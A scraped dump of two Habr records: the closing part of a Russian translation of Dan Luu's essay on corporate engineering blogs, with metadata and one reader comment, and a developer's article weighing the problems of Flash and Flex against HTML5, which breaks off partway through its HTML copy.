некоторые посты публикуются из внутреннего блога</li> </ul></li> <li>Джон Грэм-Камминг (технический директор) читает каждый пост, другие будут читать и комментировать<br/> <ul> <li>Джон одобряет посты</li> </ul></li> <li>Мэтью Принс (генеральный директор) также в целом поддерживает ведение блога.</li> <li>«Очень быстрый» юридический процесс одобрения, SLO в течение часа<br/> <ul> <li>Этот процесс настолько легок, что один человек на самом деле не думал об этом как об одобрении, а другой вообще не упоминал это (третий действительно упомянул этот шаг)</li> <li>Комментарии вообще не задействованы</li> </ul></li> </ul><br/> Следует отметить, что это относится только к техническим постам в блогах. Анонс продуктов — более сложный процесс, потому что они привязаны к коммерческим материалам, пресс-релизам и т. д.<br/> <br/> Мне показалось интересным то, что Марек собеседовался Cloudflare из-за их блога (<a href="https://blog.cloudflare.com/a-tour-inside-cloudflares-latest-generation-servers/">его внимание привлекла эта запись в блоге 2013 года на их серверах 4-го поколения</a>), и теперь он является для них ключевым инженером, а также одним из основных источников привлекательных постов блога Cloudflare. На данный момент блог Cloudflare породил по крайней мере еще несколько поколений людей, которые проходили собеседования, потому что они видели пост в блоге и теперь пишут убедительные посты для блога. <br/> <br/> <h3>Общие комментарии</h3><br/> Я считаю, что естественное состояние корпоративного блога, когда люди могут <a href="https://danluu.com/p95-skill/">получить небольшую обратную связь</a>, — это довольно интересный блог. Существует <a href="https://twitter.com/rakyll/status/1043952902157459456">нехватка настоящих, глубоких, технических текстов,</a> что делает интересным любой наполовину достойный, честный, публичный текст о технической работе.<br/> <br/> Чтобы блог был скучным, корпорация должна активно мешать инженерам размещать там интересный контент. К сожалению, похоже, что естественное состояние крупных корпораций склонно к избеганию риска и запрету людям писать на всякий случай, если это вызывает юридические, PR или другие проблемы. Individual Cotributors могут придерживаться мнения, что нелепо запрещать инженерам писать технические посты с низким уровнем риска, в то время как руководители высшего звена и вице-президенты регулярно делают публичные комментарии, которые превращаются в PR-катастрофу, но IC в крупных компаниях не имеют полномочий или не чувствуют, что у них есть полномочия что-то делать только потому, что это имеет смысл. И ни одна из четырнадцати заинтересованных сторон, которой пришлось бы подписаться на одобрение оптимизированного процесса, не позаботилась бы об оптимизации процесса, поскольку это было бы хорошо для компании таким образом, чтобы на самом деле не смогло бы не повлиять на них, не тогда, когда это, казалось бы, означало принятие на себя ответственности за риск связанный с оптимизированным процессом, пусть даже с небольшим. Руководитель или старший вице-президент, готовый пойти на риск, могут взять на себя ответственность за последствия, и, если они заинтересованы в найме инженеров или в моральном духе, они могут увидеть причину для этого.<br/> <br/> Один комментарий, который я часто слышал от людей из более бюрократических компаний, — это что-то вроде «каждая компания нашего размера такая же», но это неправда. Cloudflare, компания с оборотом в 6 миллиардов долларов, в которой работает 1 тысяча сотрудников, находится в том же классе, что и многие другие компании с гораздо более обременительным процессом ведения блогов. Ситуация в корпоративном блоге кажется похожей на ситуацию с реальным откликом на собеседование. <a href="http://blog.interviewing.io/no-engineer-has-ever-sued-a-company-because-of-constructive-post-interview-feedback-so-why-dont-employers-do-it/">interviewing.io утверждает, что в этом есть существенные положительные и очень незначительные отрицательные стороны</a>. Некоторые компании действительно дают реальную обратную связь, а те, которые, как правило, считают, что это дает им легкое преимущество при найме с небольшими недостатками, но подавляющее большинство компаний этого не делают, и люди в этих компаниях будут утверждать, что дать обратную связь невозможно, так как на вас подадут в суд, или компания будет «аннулирована», хотя обычно этого не происходит с компаниями, которые дают обратную связь, и есть даже целые отрасли, в которых принято давать обратную связь на собеседовании. Легко понять, что определенный риск существует, и очень немногие люди имеют право отвергать расплывчатые сообщения о риске, когда он исходит от нескольких организаций.<br/> <br/> Несмотря на то, что это небольшой пример, и опасно делать слишком много обобщений из небольших примеров, идея о том, что вам нужна поддержка высокого уровня, чтобы прорваться через бюрократию, согласуется с тем, что я видел в других областях, где большинству крупных компаний приходится нелегко в процессе создания чего-то легкого, имеющее очевидную, но расплывчатую ценность. Хотя этот пост посвящен ведению блога, я слышал похожие истории по самым разным темам. <br/> <br/> <h3>Приложение: примеры классных публикаций в блогах</h3><br/> Вот несколько постов из упомянутых блогов с коротким комментарием о том, почему я считаю этот пост достойным. На этот раз в обратном порядке хеширования sha512. <br/> <br/> <h3>Cloudflare</h3><br/> <ul> <li><a href="https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/">blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today</a> <br/> <ul> <li>Разговоры о реальной технической проблеме, которая затронула множество людей, достаточно подробно</li> <li>Своевременный, выпущенный всего через восемь часов после сбоя в работе, когда людям все еще было интересно услышать о том, что произошло; большинство компаний не могут так быстро развернуть убедительный пост в блоге или могут сделать это только в особых случаях, Cloudflare может публиковать своевременные сообщения почти регулярно.</li> </ul></li> <li><a href="https://blog.cloudflare.com/the-relative-cost-of-bandwidth-around-the-world/">blog.cloudflare.com/the-relative-cost-of-bandwidth-around-the-world</a><br/> <ul> <li>Исследование некоторых данных</li> </ul></li> <li><a href="https://blog.cloudflare.com/the-story-of-one-latency-spike/">blog.cloudflare.com/the-story-of-one-latency-spike</a><br/> <ul> <li>История про отладку</li> </ul></li> <li><a href="https://blog.cloudflare.com/when-bloom-filters-dont-bloom/">blog.cloudflare.com/when-bloom-filters-dont-bloom</a><br/> <ul> <li>История про отладку, на этот раз в контексте разработки структуры данных </li> </ul></li> </ul><br/> <h3>Segment</h3><br/> <ul> <li><a href="https://segment.com/blog/when-aws-autoscale-doesn-t/">segment.com/blog/when-aws-autoscale-doesn-t</a><br/> <ul> <li>Конкретное объяснение проблемы в широко используемом сервисе</li> </ul></li> <li><a href="https://segment.com/blog/gotchas-from-two-years-of-node/">segment.com/blog/gotchas-from-two-years-of-node</a><br/> <ul> <li>Конкретный пример и объяснение ошибки в широко используемом инструменте</li> </ul></li> <li><a href="https://segment.com/blog/automating-our-infrastructure/">segment.com/blog/automating-our-infrastructure</a><br/> <ul> <li>Публикация с конкретными подробностями о том, как работает компания; теоретически это могла бы написать любая компания, но мало кто это делает</li> </ul> </li> </ul><br/> <h3>Heap</h3><br/> <ul> <li><a href="https://heap.io/blog/engineering/basic-performance-analysis-saved-us-millions">heap.io/blog/engineering/basic-performance-analysis-saved-us-millions</a><br/> <ul> <li>Разговор о реальной проблеме и решении</li> </ul></li> <li><a href="https://heap.io/blog/engineering/clocksource-aws-ec2-vdso">heap.io/blog/engineering/clocksource-aws-ec2-vdso</a><br/> <ul> <li>Разговор о реальной проблеме и решении</li> <li>В комментариях HN у инженеров (malisper, kalmar) есть технические ответы с реальными причинами, а не просто обычное лицемерие, которое вы видите в большинстве случаев.</li> </ul></li> <li><a href="https://heap.io/blog/analysis/migrating-to-typescript">heap.io/blog/analysis/migrating-to-typescript</a><br/> <ul> <li>Реальный разговор о том, как первая попытка провести технические изменения в масштабах компании провалилась</li> </ul> </li> </ul><br/> Следует отметить, что все эти блоги имеют разные стили. Лично я предпочитаю стиль блога Cloudflare, в котором более высокая доля «глубоких» технических сообщений, но разные люди предпочтут разные стили. Есть много стилей, которые могут cработать.</div>
Alex (MagisterLudi)
Dan Luu
https://danluu.com/corp-eng-blogs/
<div style="text-align:center;"><img src="https://habrastorage.org/getpro/habr/post_images/8ae/3ea/d84/8ae3ead849207032905685afb14ebcfd.jpg" alt="image"></div><br> <br> Я сравнивал свои заметки с людьми, которые ведут корпоративные инженерные блоги, и мне кажется любопытным то, что <a href="https://danluu.com/" rel="nofollow noopener noreferrer">мой личный блог</a> довольно часто получает больше трафика, чем весь корпоративный блог компании, которая оценивающейся в девяти/десятизначную сумму и мой блог нередко получает <i>на порядок</i> больше трафика.<br> <br> Я думаю, что это странно, потому что в технологических компаниях этого класса часто работают сотни и даже тысячи сотрудников. В подавляющем большинстве случаев они будут лучше подготовлены для написания привлекательного блога, чем я, и компании получают гораздо большую ценность от наличия привлекательного блога, чем я.<br> <br> Что касается первого, сотрудники компании будут выполнять более интересную инженерную работу, рассказывать больше забавных историй и обладать более глубокими знаниями, чем любой человек, ведущий личный блог.
Я сравнивал свои заметки с людьми, которые ведут корпоративные инженерные блоги, и мне кажется любопытным то, что мой личный блог довольно часто получает больше трафика, чем весь корпоративный блог компании, которая оценивающейся в девяти/десятизначную сумму и мой блог нередко получает на порядок больше трафика. Я думаю, что это странно, потому что в технологических компаниях этого класса часто работают сотни и даже тысячи сотрудников. В подавляющем большинстве случаев они будут лучше подготовлены для написания привлекательного блога, чем я, и компании получают гораздо большую ценность от наличия привлекательного блога, чем я. Что касается первого, сотрудники компании будут выполнять более интересную инженерную работу, рассказывать больше забавных историй и обладать более глубокими знаниями, чем любой человек, ведущий личный блог.
article
1,623,619,514
{ "commentsCount": 1, "favoritesCount": 17, "readingCount": 2434, "score": 7, "votesCount": 19, "votesCountPlus": 13, "votesCountMinus": 6 }
[ "translation" ]
[ "timeweb", "lib", "career", "read", "popular_science" ]
[ "develop", "management", "popsci" ]
[ "корпоративные блоги" ]
9
null
null
{ "id": [ 23146958 ], "parent_id": [ null ], "level": [ 0 ], "time_published": [ 1623664138 ], "score": [ 1 ], "votes": [ 1 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>мой блог нередко получает на порядок больше трафика.</blockquote><br/>\r\nХотелось бы цифр и подробностей.<br/>\r\nПочему вдруг поисковик решил показать его сайт по какому-то запросу?<br/>\r\n«На порядок» это 10 против 1 или 10 млн против миллиона?<br/>\r\n<br/>\r\n<blockquote>мой блог помогает мне в поиске работы и помогает компаниям нанимать меня</blockquote><br/>\r\nСудя по статьям на хабре, HR даже резюме прочитать не могут.<br/>\r\nКак именно его блог помогает?<br/>\r\n<br/>\r\n<blockquote>SLO в течение часа</blockquote><br/>\r\nЧто такое SLO?<br/>\r\nВ связи с развитием cancel-культуры из-за того, что автор где-то что-то назвал не так, кто несёт отвественность?<br/>\r\nИли раскрытие каких-то технических подробностей может повредить компании?<br/>\r\n<br/>\r\n<blockquote>Мне показалось интересным то, что Марек собеседовался Cloudflare из-за их блога (его внимание привлекла эта запись в блоге 2013 года на их серверах 4-го поколения), и теперь он является для них ключевым инженером, а также одним из основных источников привлекательных постов блога Cloudflare.</blockquote><br/>\r\nКто это такой? Как и зачем он попал на собеседование поинтересовавшись чьим-то блогом?<br/>\r\n<br/>\r\n<blockquote>Я считаю, что естественное состояние корпоративного блога, когда люди могут получить небольшую обратную связь, — это довольно интересный блог.</blockquote><br/>\r\n<blockquote>Некоторые компании действительно дают реальную обратную связь, а те, которые, как правило, считают, что это дает им легкое преимущество при найме с небольшими недостатками, но подавляющее большинство компаний этого не делают, и люди в этих компаниях будут утверждать, что дать обратную связь невозможно, так как на вас подадут в суд, или компания будет «аннулирована», хотя обычно этого не происходит с компаниями, которые дают обратную связь, и есть даже целые отрасли, в которых принято давать обратную связь на собеседовании.</blockquote><br/>\r\nКак связаны публичный блог и обратная связь на собеседовании?</div>" ], "message_markdown": [ "> мой блог нередко получает на порядок больше трафика.\nХотелось бы цифр и подробностей.\nПочему вдруг поисковик решил показать его сайт по какому-то запросу?\n«На порядок» это 10 против 1 или 10 млн против миллиона?\n> мой блог помогает мне в поиске работы и помогает компаниям нанимать меня\nСудя по статьям на хабре, HR даже резюме прочитать не могут.\nКак именно его блог помогает?\n> SLO в течение часа\nЧто такое SLO?\nВ связи с развитием cancel-культуры из-за того, что автор где-то что-то назвал не так, кто несёт отвественность?\nИли раскрытие каких-то технических подробностей может повредить компании?\n> Мне показалось интересным то, что Марек собеседовался Cloudflare из-за их блога (его внимание привлекла эта запись в блоге 2013 года на их серверах 4-го поколения), и теперь он является для них ключевым инженером, а также одним из основных источников привлекательных постов блога Cloudflare.\nКто это такой? Как и зачем он попал на собеседование поинтересовавшись чьим-то блогом?\n> Я считаю, что естественное состояние корпоративного блога, когда люди могут получить небольшую обратную связь, — это довольно интересный блог.\n> Некоторые компании действительно дают реальную обратную связь, а те, которые, как правило, считают, что это дает им легкое преимущество при найме с небольшими недостатками, но подавляющее большинство компаний этого не делают, и люди в этих компаниях будут утверждать, что дать обратную связь невозможно, так как на вас подадут в суд, или компания будет «аннулирована», хотя обычно этого не происходит с компаниями, которые дают обратную связь, и есть даже целые отрасли, в которых принято давать обратную связь на собеседовании.\nКак связаны публичный блог и обратная связь на собеседовании?" ], "author": [ "quaer" ], "children": [ [] ] }
82,847
ru
https://habr.com/ru/post/82847/
MythBusters: Правда и вымысел о Flash
Последнее время, ходит очень много разговоров о html5, тэге видео и отсутствию Flash на iPad (это очень обидело flash разработчиков) и заявлению Стива Джобса в адрес Adobe. Было много разных мнений — кто-то считал, что это плохо, кто-то что хорошо. В этой статье я бы хотел рассказать от технологии flash со стороны разработчика и рассказать что, почему и как. В мире flash есть две основных стороны — это Flash и Flex, и у каждой есть свои приверженцы. Чем они отличаются? Flex — это продукт направленный на создание Rich Internet Applications, то есть довольно больших и объемных по функционалу приложений. Для этого во Flex SDK есть opensource фреймворк со схожим названием, довольно сильно расширяющий функционал базовых классов Flash. К тому же Flex содержит в себе поддержку языка разметки MXML, благодаря которому упрощается работа с компонентами. Flex SDK поставляется с плагином для Eclipse (Flex Builder) для редактирования кода и работы с компонентами. Flash — это более легкий в плане написания кода продукт, но более мощный в плане создания анимации. Для написания кода в нем нужно иметь железные нервы, так как Flash IDE для этого дает самый минимум — встроенный редактор с минимальной подсветкой кода. У обоих разные компиляторы (Flex использует command line компилятор, во Flash он встроен в IDE), имеющие некоторые различия — компилятор Flex более мощный. Почему все приложения написанные на flash такие тяжелые? Дело в том, что большинству разработчиков для программы нужна визуализация данных — то есть GUI. GUI должно содержать кнопочки, текстовые поля, окна и все то что мы привыкли видеть в браузере. Во flash этого ничего нет. Есть только визуальные объекты. На основе этих визуальных объектов разрабатываются компоненты, имитирующие поведение к которому мы с вами привыкли. «Из коробки» такие компоненты есть как во Flash так и во Flex. Но к сожалению во Flash компоненты абсолютно ужасны и неюзабельны, встретить их в приложениях в последнее время можно достаточно редко. К тому же их развитие в компании Adobe остановилось еще во времена CS2. За то во Flex компоненты цветут и пахнут. Там вам и стилизация через CSS, и MXML для их расположения, настройки, автоматический лаеринг (расположение компонент на слое и смещение/ресайз и прочий функционал такого плана) и куча других разных плюшек. Но как я сказал, это все дополнительный код. При компиляции в ActionScript весь код на который есть хотя бы одно упоминание компилируется в конечный swf файл. Во Flex очень много жестких ссылок и если вы используете один класс, вы не будете знать сколько еще кода он за собой потащит. Вот вам пример — это один из тестовых файлов Flex4 (последней на данный момент версии фреймворка которая находится в статусе Beta). Его вес 1.28 мегабайта. Вот код данного файла: Как видно по коду (а кому не видно я объясню), там создается несколько компонент (Panel, TextInput, Button, Label). В принципе ничего особенного, но этот код благодаря жестким ссылкам, вкомпилирует в конечный файл... 489 классов и 125 интерфейсов (около 5 мегабайт в исходных текстах). Это честно скажу дофига. Во Flex3 была реализована система runtime-shared-libraries (RSLs), которая позволяет часть кода хранить у пользователя и использовать такие библиотеки совместно разными приложениями. Но это использует хорошо если 5% разработчиков. И отвечая на вопрос — из-за отсутствия нормальных альтернатив, большинство использует компоненты из Flex, со всеми вытекающими последствиями. Почему все так жутко тормозит и глючит, баннеры отжирают по 90% CPU? ActionScript это довольно мощный язык с большими возможностями, но так было не всегда. Еще каких-то 6 лет назад еще во времена существования Macromedia и Flash 5, Flash и Action Sctript были технологиями разве, что для создания баннеров, убогих сайтов-визиток и мультиков. В основном мультиков. С годами язык обрастал новыми возможностями и через некоторое время стал взрослым и позволил писать сложные RIA проекты. Но не утратил корни — баннеры, сайты-визитки и мультики можно создавать и сейчас, даже писать на той версии языка что была 6 лет назад — AS2 который сильно похож на JS. На нем и пишется добрая (скажем 89,26%) часть всех баннеров. И эта добрая часть пишется в основном людьми плохо владеющими AS и пишущих в основном на PHP или JS. Поделать с этим к сожалению ничего нельзя — проблема не в технологии, а в головах. Хотелось бы конечно чтоб владельцы сайтов или баннерообменных сетей следили за качеством своих баннеров, но тут как говорится «Проблемы негров, шерифа не волнуют». Очень часто разработчики даже в релизных версиях оставляют информацию для дебага. Далеко за примером ходить не надо, например известный клон ютюба: Хотя в AS3 есть возможность давать команды для компилятора, и исключать дебажный код из конечного swf файла, нажатием одной кнопки или вводом нескольких дополнительных символов если используется command line компилятор. Этой фичей пользуется хорошо если 1000 разработчиков во всем мире. Почему у %username% все работает, а у меня нет? Основная часть технологии Flash — это Flash плеер. В нем часто находят и фиксят большое количество ошибок и неточностей (на данный момент 478 открыто и 114 в работе), и чуть ли не каждую неделю выходит новая версия плеера. Для большинства разработчиков все эти версии превращаются в version hell — в одной минорной версии все работает, в другой нет, в третьей тормозит отрисовка, в пятой не работают хаки благодаря которым работает код в первой. К тому же заставить пользователя обновить плеер достаточно трудно ( ютюб работает, вконтакт музыку проигрывает — значит все нормуль). А как можно так криво сделать? Ну тут в Adobe наверное курсы есть специальные, не думаю, что нормальный разработчик хочет делать кривой продукт. К тому же анонсирование всяких фич, а-ля писать программы под айфон, когда плеер уже давно не может нормально работать под маком, как-то странно. Лично по моему мнению среднее количество проклятий в сторону Adobe от flash разработчиков составляет порядка 50 в год. Не верите? Вот вам пример на ActionScript3 (тем кто разбирается в программировании): Я немного изменил код, для наглядности. Раньше было p[«a»] = 2; Тут вроде бы все ясно, должно быть: `a 2<br/>b 1<br/>с 1<br/>` Но будет: `a 2<br/>a 1<br/>с 1<br/>` Почему? Загадка... Таких вот вещей довольно много. Как будто ходишь по темной комнате с разбросанными детскими граблями. Все так плохо? А как дела с маком и линуксом? Плохо. Если смотреть на линукс, то Adobe как платформу ее начала воспринимать примерна года 2 назад. До этого flash на линукс воспринимался как синоним слова геморрой. Чего стоит только одна ошибка ввода юникодных символов в текстовых полях, которая через 1.5 года после обнаружения была торжественно закрыта. С маками тоже проблема — жуткие тормоза. И при просмотре видео и вообще при работе Flash плеера. При чем разница между Win и Mac очень существенная, в одном из моих проектов отрисовка элементов в Win была на уровне ~120-200 в секунду, на Mac отрисовка была на уровне ~16-40. Задаче в баг трекере Adobe с этой проблемой уже больше года, и она с открытой датой, так что когда пользователи маков получат нормальный плеер не известно. Особенно смешно выглядит скриншот, где показано, что виртуальная машина с Windows при просмотре видео ест всего 8% CPU, а Firefox 61%. Хм... Но ведь есть супер мега фича — написание кода на C и C++ под Flash плеер! Может использовать ее? Да, не так давно Adobe дала возможность разработчикам продукт под названием Alchemy (какая ирония — название псевдонауки), который позволяет писать приложения на C/C++ и исполнять в виртуальной машине Flash плеера. В примерах производительность поражала. Но, через некоторое время выяснилось, что по большей части прирост был вызван использованию нескольких недокументированных команд для работы с памятью и бинарными данными. И через некоторое время одним замечательным человеком был создан продукт под названием TurboDieselSportInjection (автор признавался что у него туго с названиями), позволяющий модифицировать swf файл, для работы с этими командами. К тому же это скорее мост, чем реальная возможность писать на C или C++ под Flash плеер. То есть так все плохо? Значит HTML5 рулит? Отчасти. Даже я как Flash разработчик понимаю, что нужно отделить возможность смотреть видео от Flash плеера. Но Flash это хорошая платформа для написания казуальных игр и виджетов. Это хорошая платформа для написания онлайновых MMORPG, хотя пока с 3D у Flash не особо (разве что Alternativa Platform немного вытягивает). К тому же есть приложения написанные хорошими AS3 программистами, но к сожалению их не так много. К тому же я надеюсь что бурное развитие html5 даст хороший пинок Adobe. Так может гоу на Silverlight? Пока Silverlight проигрывает Flash по многим пунктам — поддержка на Linux (да, да я знаю про mono, но хочется официально), малая распространенность, к тому же сильная зависимость от продуктов Microsoft. Но поживем увидим, ни Adobe ни Microsoft на месте не стоят. Тут я бы скорее смотрел в сторону языка haxe. У него много плюсов и возможность писать код который можно экспортировать для разных платформ, впечатляет (на данный момент это JS, Flash, NekoVM, PHP, C++, iPhone). К тому же компилятор haxe работает в разы быстрее компилятора flash/flex и поддерживает те самые недокументированные команды из Alchemy. Но пока у данного языка маленькое комьюнити, мало документации и примеров, хотя я надеюсь что стремительное развитие языка продолжится. Значит Джобс был прав насчет Flash на iPad? Ну я бы сказал, что он лукавил. Все таки пользователям наплевать, как работает технология. Если мне она не нужна, я просто не буду ее использовать. Если бы Flash плеер был на iPhone/iPod/iPad и он работал бы так же плохо как и на больших маках, пользователи бы им просто меньше пользовались. К тому же наличие Flash может сильно ударить по доходам appStrore от казуальных играх и мини приложений. Пока Flash плеер плохо работает на Mac есть причина по которой Apple может не пускать Flash плеер, но если в Adobe это исправят, возможно мы увидим Flash на экранах устройств от Apple.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/storage1/5c66acf4/83d5c7b3/afc206ed/dab0553d.jpg" data-src="https://habrastorage.org/storage1/5c66acf4/83d5c7b3/afc206ed/dab0553d.jpg" data-blurred="true"/><br/> Последнее время, ходит очень много разговоров о html5, тэге видео и отсутствию Flash на iPad (это очень обидело flash разработчиков) и заявлению Стива Джобса в адрес Adobe. Было много разных мнений — кто-то считал, что это плохо, кто-то что хорошо. В этой статье я бы хотел рассказать от технологии flash со стороны разработчика и рассказать что, почему и как.<br/> <br/> <a name="habracut"></a>В мире flash есть две основных стороны — это <i><b>Flash</b></i> и <i><b>Flex</b></i>, и у каждой есть свои приверженцы. Чем они отличаются?<br/> <br/> <a href="http://ru.wikipedia.org/wiki/Adobe_Flex">Flex</a> — это продукт направленный на создание Rich Internet Applications, то есть довольно больших и объемных по функционалу приложений. Для этого во Flex SDK есть opensource фреймворк со схожим названием, довольно сильно расширяющий функционал базовых классов Flash. К тому же Flex содержит в себе поддержку языка разметки MXML, благодаря которому упрощается работа с компонентами. Flex SDK поставляется с плагином для Eclipse (Flex Builder) для редактирования кода и работы с компонентами.<br/> <br/> <a href="http://ru.wikipedia.org/wiki/Adobe_Flash">Flash</a> — это более легкий в плане написания кода продукт, но более мощный в плане создания анимации. Для написания кода в нем нужно иметь железные нервы, так как <a href="http://www.adobe.com/ru/products/flash/features/">Flash IDE</a> для этого дает самый минимум — встроенный редактор с минимальной подсветкой кода. <br/> <br/> У обоих разные компиляторы (Flex использует command line компилятор, во Flash он встроен в IDE), имеющие некоторые различия — компилятор Flex более мощный.<br/> <br/> <i><b>Почему все приложения написанные на flash такие тяжелые?</b></i><br/> <br/> Дело в том, что большинству разработчиков для программы нужна визуализация данных — то есть GUI. GUI должно содержать кнопочки, текстовые поля, окна и все то что мы привыкли видеть в браузере. Во flash этого ничего нет. Есть только визуальные объекты. На основе этих визуальных объектов разрабатываются компоненты, имитирующие поведение к которому мы с вами привыкли. «Из коробки» такие компоненты есть как во Flash так и во Flex. Но к сожалению во Flash компоненты абсолютно ужасны и неюзабельны, встретить их в приложениях в последнее время можно достаточно редко. К тому же их развитие в компании Adobe остановилось еще во времена CS2. За то во Flex компоненты цветут и пахнут. Там вам и стилизация через CSS, и MXML для их расположения, настройки, автоматический лаеринг (расположение компонент на слое и смещение/ресайз и прочий функционал такого плана) и куча других разных плюшек. Но как я сказал, это все дополнительный код. <br/> <br/> При компиляции в ActionScript весь код на который есть хотя бы одно упоминание компилируется в конечный swf файл. Во Flex очень много жестких ссылок и если вы используете один класс, вы не будете знать сколько еще кода он за собой потащит. Вот вам <a href="http://ftp.parcsis.org/andyone/flash/br_13895.swf">пример</a> — это один из тестовых файлов Flex4 (последней на данный момент версии фреймворка которая находится в статусе Beta). Его вес 1.28 мегабайта. Вот код данного файла:<br/> <br/> <img src="https://habrastorage.org/r/w1560/storage1/44151018/7bb67aaa/101bdece/626b716d.png" data-src="https://habrastorage.org/storage1/44151018/7bb67aaa/101bdece/626b716d.png"/><br/> <br/> Как видно по коду (а кому не видно я объясню), там создается несколько компонент (Panel, TextInput, Button, Label). В принципе ничего особенного, но этот код благодаря жестким ссылкам, вкомпилирует в конечный файл… <b>489 классов и 125 интерфейсов</b> (около 5 мегабайт в исходных текстах). Это честно скажу дофига.<br/> <br/> Во Flex3 была реализована система runtime-shared-libraries (<a href="http://labs.adobe.com/wiki/index.php/Flex_3:Feature_Introductions:Flex_3_RSLs">RSLs</a>), которая позволяет часть кода хранить у пользователя и использовать такие библиотеки совместно разными приложениями. Но это использует хорошо если 5% разработчиков.<br/> <br/> И отвечая на вопрос — из-за отсутствия нормальных альтернатив, большинство использует компоненты из Flex, со всеми вытекающими последствиями.<br/> <br/> <i><b>Почему все так жутко тормозит и глючит, баннеры отжирают по 90% CPU?</b></i><br/> <br/> ActionScript это довольно мощный язык с большими возможностями, но так было не всегда. Еще каких-то 6 лет назад еще во времена существования Macromedia и Flash 5, Flash и Action Sctript были технологиями разве, что для создания баннеров, убогих сайтов-визиток и мультиков. В основном мультиков. С годами язык обрастал новыми возможностями и через некоторое время стал взрослым и позволил писать сложные RIA проекты. Но не утратил корни — баннеры, сайты-визитки и мультики можно создавать и сейчас, даже писать на той версии языка что была 6 лет назад — AS2 который сильно похож на JS.<br/> <br/> На нем и пишется добрая (скажем 89,26%) часть всех баннеров. И эта добрая часть пишется в основном людьми плохо владеющими AS и пишущих в основном на PHP или JS. Поделать с этим к сожалению ничего нельзя — проблема не в технологии, а в головах. Хотелось бы конечно чтоб владельцы сайтов или баннерообменных сетей следили за качеством своих баннеров, но тут как говорится «Проблемы негров, шерифа не волнуют».<br/> <br/> Очень часто разработчики даже в релизных версиях оставляют информацию для дебага. Далеко за примером ходить не надо, например известный клон ютюба:<br/> <br/> <img src="https://habrastorage.org/r/w780q1/storage1/8342128d/f8fe7dc0/26c72905/f3c8176c.jpg" data-src="https://habrastorage.org/storage1/8342128d/f8fe7dc0/26c72905/f3c8176c.jpg" data-blurred="true"/><br/> <br/> Хотя в AS3 есть возможность давать команды для компилятора, и исключать дебажный код из конечного swf файла, нажатием одной кнопки или вводом нескольких дополнительных символов если используется command line компилятор.<br/> <br/> <img src="https://habrastorage.org/r/w1560/storage1/42180915/a29c2502/2a49d09e/e05151a4.png" data-src="https://habrastorage.org/storage1/42180915/a29c2502/2a49d09e/e05151a4.png"/><br/> <br/> Этой фичей пользуется хорошо если 1000 разработчиков во всем мире.<br/> <br/> <i><b>Почему у %username% все работает, а у меня нет?</b></i> <br/> <br/> Основная часть технологии Flash — это Flash плеер. В нем часто находят и фиксят большое количество ошибок и неточностей (на данный момент <a href="https://bugs.adobe.com/jira/browse/FP#selectedTab=com.atlassian.jira.plugin.system.project%3Aissues-panel">478 открыто и 114 в работе</a>), и чуть ли не каждую неделю выходит новая версия плеера. Для большинства разработчиков все эти версии превращаются в version hell — в одной минорной версии все работает, в другой нет, в третьей тормозит отрисовка, в пятой не работают хаки благодаря которым работает код в первой. К тому же заставить пользователя обновить плеер достаточно трудно ( ютюб работает, вконтакт музыку проигрывает — значит все нормуль). <br/> <br/> <i><b>А как можно так криво сделать?</b></i><br/> <br/> Ну тут в Adobe наверное курсы есть специальные, не думаю, что нормальный разработчик хочет делать кривой продукт. К тому же анонсирование <a href="http://theflashblog.com/?p=1737">всяких фич</a>, а-ля писать программы под айфон, когда плеер уже давно не может нормально работать под маком, как-то странно. Лично по моему мнению среднее количество проклятий в сторону Adobe от flash разработчиков составляет порядка 50 в год. Не верите? Вот вам пример на ActionScript3 (тем кто разбирается в программировании):<br/> <br/> <img src="https://habrastorage.org/r/w1560/storage1/63810966/3ec0f517/b19a4b23/b4ee8c6e.png" data-src="https://habrastorage.org/storage1/63810966/3ec0f517/b19a4b23/b4ee8c6e.png"/><br/> <i><font color="#999">Я немного изменил код, для наглядности. Раньше было p[«a»] = 2;</font></i><br/> <br/> Тут вроде бы все ясно, должно быть:<br/> <br/> <code>a 2&lt;br/>b 1&lt;br/>с 1&lt;br/></code><br/> Но будет:<br/> <br/> <code>a 2&lt;br/>a 1&lt;br/>с 1&lt;br/></code><br/> Почему? Загадка… Таких вот вещей довольно много. Как будто ходишь по темной комнате с разбросанными детскими граблями.<br/> <br/> <i><b>Все так плохо? А как дела с маком и линуксом?</b></i><br/> <br/> Плохо. Если смотреть на линукс, то Adobe как платформу ее начала воспринимать примерна года 2 назад. До этого flash на линукс воспринимался как синоним слова геморрой. Чего стоит только одна <a href="https://bugs.adobe.com/jira/browse/FP-40">ошибка ввода юникодных символов</a> в текстовых полях, которая через 1.5 года после обнаружения была торжественно закрыта. <br/> <br/> С маками тоже проблема — жуткие тормоза. И при просмотре видео и вообще при работе Flash плеера. При чем разница между Win и Mac очень существенная, в одном из моих проектов отрисовка элементов в Win была на уровне ~120-200 в секунду, на Mac отрисовка была на уровне ~16-40. <a href="https://bugs.adobe.com/jira/browse/FP-890">Задаче</a> в баг трекере Adobe с этой проблемой уже больше года, и она с открытой датой, так что когда пользователи маков получат нормальный плеер не известно. Особенно смешно выглядит скриншот, где показано, что виртуальная машина с Windows при просмотре видео ест всего 8% CPU, а Firefox 61%.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/storage1/03fa6cc5/2dc4cacc/c33a13f9/fc10790c.jpg" data-src="https://habrastorage.org/storage1/03fa6cc5/2dc4cacc/c33a13f9/fc10790c.jpg" data-blurred="true"/><br/> <br/> <b><i>Хм… Но ведь есть супер мега фича — написание кода на C и C++ под Flash плеер! Может использовать ее?</i></b><br/> <br/> Да, не так давно Adobe дала возможность разработчикам продукт под названием Alchemy (какая ирония — название псевдонауки), который позволяет писать приложения на C/C++ и исполнять в виртуальной машине Flash плеера. В примерах производительность поражала. Но, через некоторое время выяснилось, что по большей части прирост был вызван использованию нескольких недокументированных команд для работы с памятью и бинарными данными. И через некоторое время одним замечательным <a href="http://www.joa-ebert.com/">человеком</a> был создан продукт под названием <a href="http://blog.joa-ebert.com/2009/08/05/turbodieselsportinjection/">TurboDieselSportInjection</a> (автор признавался что у него туго с названиями), позволяющий модифицировать swf файл, для работы с этими командами. К тому же это скорее мост, чем реальная возможность писать на C или C++ под Flash плеер.<br/> <br/> <b><i>То есть так все плохо? Значит HTML5 рулит?</i></b><br/> <br/> Отчасти. Даже я 